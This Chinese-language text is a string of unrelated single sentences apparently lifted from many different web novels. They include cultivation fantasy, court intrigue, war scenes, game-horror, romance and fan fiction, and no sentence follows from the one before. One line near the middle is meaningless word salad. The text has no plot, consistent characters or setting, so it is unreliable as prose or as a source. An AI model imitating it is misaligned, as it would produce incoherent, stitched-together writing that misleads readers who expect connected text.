震惊的宾客惨叫着,哭爹叫妈的撒腿就向城主府门外跑去,一个个都恨爹娘少生两条腿,肠子都悔青了参加这场名为给公主庆生的宴会,实为血腥的修罗宴。 短短的时间里,洛千儿连续被雷给劈到了两次,难道这真的是人品的问题??? “多谢侯爷。末将不会让您失望的。”李培才双手拱了拱,对着空中做了个揖。 怎么可能,就在昨天大家还在商量着扩大日月神教的据点,怎么会只过了一晚一切就发生了天翻地覆的转变,那些愚忠的堂主居然在他毫不知情的情况下投靠了朝廷,这一切怎么想都想不通。 他站起身准备亲自去看看,刚迈开步子,就看见秦千绝从不远处缓缓地走了过来。 正想到这儿,就听到门口响起一道急促的脚步声,然后就看到,韩少勋穿着一件厚厚的外套,急匆匆走了进来。 他在老张家里呆了会,就先溜了,呆在这边也没什么事情,老张和老姐说不定还嫌弃自己呢。 正要抬手叩门,却发现门沒有完全掩住。洛千儿伸手推开了门,外面的月光从洒进來,在地上投射出洛千儿的影子。 所以他没办法告诉托塔他们,他已经到了,可以开始行动了,也无法通知野兽。 接下来的一些关于性和器官的描写,终于让大部分人对这部游戏放弃了。 秦川看着屏幕中正在啃食尸体的怪物,耳边传来咀嚼的声音,还有怪物那猎奇的眼神,令人作呕。 他只能叹息一声,勉强挣扎着起来,一边骂娘一边努力回忆着操作的每个步骤,勉强尝试一人做数十人配合的工作。 “托秦院长的鸿福,郝院长如今过得很好。只不过郝院长一年前有所感悟,所以一直闭关没有出来,所以这次就有我带队来此。”高原祥笑道。 “什么,竟然有这种情况?”听完昂多的解释之后,中年男子不由得脸色微变。 城主安尼兰族阿卡德,看过卡斯特格传来的消息后,本来就泛着红光的双眼显得更加暴虐。 如果是故意的话……摇摇头,这种事不是现在需要考虑的,现在要考虑的是漫画问题。 龙木的扭曲空间之力极强,只要钉入的方向和力道正确,辅之以适当的阵纹牵引,便可以将这处阵眼彻底封死。 赵构率领大军势如破竹,声势浩大,一路兼程的拼命厮杀,接二连三的胜利让宋军士气大涨,就连其它几路大军将士都斗志昂扬。之前,他们在面对起义军时都是节节败退,就连气势上都没有起义军强。 刚才他说龙华市是超一线大城市,名气这么大的城市,她怎么可能没听过? 此时张虎盘膝坐在双叶园中,掌心之中一颗晶源,正是那炼金宗宗主车振的晶源。 说到这里时,纲手脸上更是露出了冷笑,与此同时各大家族忍者似乎找到了主心骨般,纷纷望向了纲手。 她死了,对其余八位玩家反而还有利,她只能乞求这些人念一点人情和道义了。 “让你拜师?”我惊诧的微微皱眉,也不知道吴半仙这到底是什么意思。 练云生也算是有了经验,跟系统提问千万别提那种又大又空的,而是要立足当下尽量把问题拆碎,控制在一百资源以内才会有解答。 “二位姑娘,这位公子,要点什么?”老婆婆慈祥一笑,指了指自己摊位上的东西。 第七百五十章:云台观里遇故人 距离西秦皇宫不远处,城北郊区的一个半山坡上。 坐落着一个窑洞式的建筑群,此乃一道观之所在,名曰云台观。 只要能借此与京城的太子扯上关系,那以后有个什么麻烦,不就一句话的事儿么? 而这次,飞轮海作为迪斯尼乐园的形象代言,自然也准备了许多,这次演唱会也是类似于无座音乐会的形式,只不过在规格上有些不同罢了。虽然也是无座,但是却要门票。只要购买迪尼斯周边产品,就能得到入场券了。 方璞使劲的点了下头:“能是能!只是价格非常昂贵,普通人就是一辈子也买不起!听桃夭娘子说,想买一本武功秘笈或者人心底的秘密……需要向销金窝的老板支付万两黄金。 云渺心中早已打好算盘,只要云轩敢抽身去躲闪劲气攻击,那么他会立刻用右手上的无形拳印将云轩轰趴在地上。 “不是直接醒吗?”透明隔离板,玛奇观看了乔安娜的整个过程,自然就会与海伍德复苏龙刺的过程相比较。 为了不让云树心中生忧,云秋梦特地隐去了云珠杀人之事,只是不住夸赞云珠剑法高超绝伦。 是时尚是时尚是好事实事环保部相关问题食品的空间好多好多后很想那些。 此时的云渺神情骇然,那般狰狞的模样,哪还像一个大长老该有的样子。 说实话,云轩心里有些迟疑,要说用轩辕剑在那座山丘上砍下几道沟壑,他相信自己能够做到,但要对整个山造成破坏,这可就有点悬。 “要不要我启动电台,把情况告诉炎龙指挥中心?”平时虽然各种不靠谱,但蓝狐对本质工作从来都是非常上心的,只不过很多时候依然欠缺一些看待问题的的火候。 她这些年修为日渐提高,又怎么会看不出这种办法。本来她还以为银麟子会有其它的办法,可是如她心中所不愿想到的那样,银麟子也开口这样说。 约翰少校所看到的便是这般恐怖的景象,然而这仅仅只是个开始,因为追击至此的中国士兵已经用他们的“大炮”将更多的燃烧弹射到英军的营地。 对,她今天是最高调的盗贼。她没有偷偷摸摸,她就是要在众目睽睽之下盗走那只玉扳指。 卫君流绅士的帮喻可馨拉开凳子,喻可馨坐下的时候,卫君流已经点好了她爱吃的菜。 谁知何子烨并没有如她所想的那样回去另一间客房,而是走向餐厅的方向。 就这样老葛每走到一个遗物前,便倒上一杯酒,说上一会儿话,有时很温和,有时又有些严厉,有时哈哈的笑着,有时还会有些琐碎的抱怨。 却发现手上一轻,再一看方才发现我在他手里的只是那名年轻通信员的断臂,至于本人早已经被刚才的炮火炸得血肉模糊。 “你有什么疑问就直说。”魏仁武察觉到岳鸣的犹豫,因为岳鸣到现在也还没有发动汽车。 叹了口气,他再次盯着手机里的短信:我今天在新闻上看到你了,你还好吗? 林宗河眼睁睁的看着叶尘梦被林凯带走之后,这才重重的喘了一口粗气,将杯子里的红酒一饮而尽给自己压惊。